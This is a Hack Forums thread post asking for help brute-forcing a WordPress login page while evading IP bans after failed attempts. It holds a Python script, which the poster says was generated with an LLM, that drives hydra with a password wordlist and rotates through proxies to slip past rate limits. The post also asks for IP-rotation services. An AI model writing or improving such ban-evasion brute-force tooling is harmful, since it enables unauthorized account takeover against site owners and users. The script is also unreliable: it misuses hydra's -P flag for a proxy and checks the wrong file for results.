

Forum:[Hack Forums](#)

Thread: [Brute force & bypass IP ban \(# failed attempts\)](#)

chococo2364 - July 17, 2024, 4:33 pm

Protect a login page with an IP banned after few attempts is an easy protection to setup.

Questions

This is a common use case

I imagine that there are solutions already built to bypass that

1) What is the best solution available ?

I need something that take a word list for the password and potentially a list of proxies in order to avoid to be banned

2) How to get a valid list proxy ?

It's easy to get a list of static proxy,

Is there a way to have a "dynamic" proxy service ? Or a webservice that provide new proxy that can easily integrated?

3) Any interesting ebook/link about brute force that deal with protection against brute force that should be read ?

I iterated with an LLM tool to get something that seems to work on the paper with hydra (not tested), we can probably add multi-threading as well

I am sure that there is an easier solution already built for that that will be optimized

any help ?

Code import subprocess

import time

import requests # Used for proxy validation

Configuration

username = 'admin' # Static username

password_file = 'passwords.txt'

proxy_file = 'proxies.txt'

target_url = 'example.com'

form_path = '/wp-login.php'

form_data = 'log=^USER^&pwd=^PASS^&wp-submit=Log+In'

attempts_per_proxy = 5

Read proxies from file

with open(proxy_file, 'r') as f:

proxies = [line.strip() for line in f.readlines()]

Read passwords from file

with open(password_file, 'r') as f:

passwords = [line.strip() for line in f.readlines()]

Hydra command template

hydra_command_template = (

```

"hydra -l {username} -p {password} -e ns -f -t 1 -u -V -F "
"http-form-post '{form_path}:{form_data}' {target_url} -s 80 -P {proxy} -w 1"
)

def is_proxy_valid(proxy):
    """Check if a proxy is valid by attempting a connection."""
    try:
        requests.get(target_url, proxies={"http": proxy}, timeout=5)
        return True
    except requests.exceptions.RequestException:
        return False

def run_hydra(proxy, username, password, form_path, form_data, target_url):
    command = hydra_command_template.format(
        username=username,
        password=password,
        form_path=form_path,
        form_data=form_data,
        target_url=target_url,
        proxy=proxy
    )
    process = subprocess.Popen(command, shell=True)
    process.wait()

    # Check if a valid login is found
    with open('hydra.restore', 'r') as output_file:
        if "login:" in output_file.read():
            print(f"Valid login found with credentials: {username}:{password}. Stopping script.")
            exit(0)

# Loop through proxies and passwords
for proxy in proxies:
    print(f"Using proxy: {proxy}")

    # Validate proxy before running Hydra
    if not is_proxy_valid(proxy):
        print(f"Proxy {proxy} is not responding or valid. Skipping.")
        continue

    for i in range(0, len(passwords), attempts_per_proxy):
        password_chunk = passwords[i:i + attempts_per_proxy]
        for password in password_chunk:
            run_hydra(proxy, username, password, form_path, form_data, target_url)
            time.sleep(1) # Delay to avoid rate limiting

    print(f"Finished attempts with proxy: {proxy}")

print("Brute force attempt completed. No valid login found.")
EDIT:

```

understood that it could be achieve with burp and ip rotating extension
lokeshdlk77.medium.com/how-to-rotate-ip-address-for-each-request-in-burp-suite-4e29645ef23e

Any suggestion for an IP rotation service ?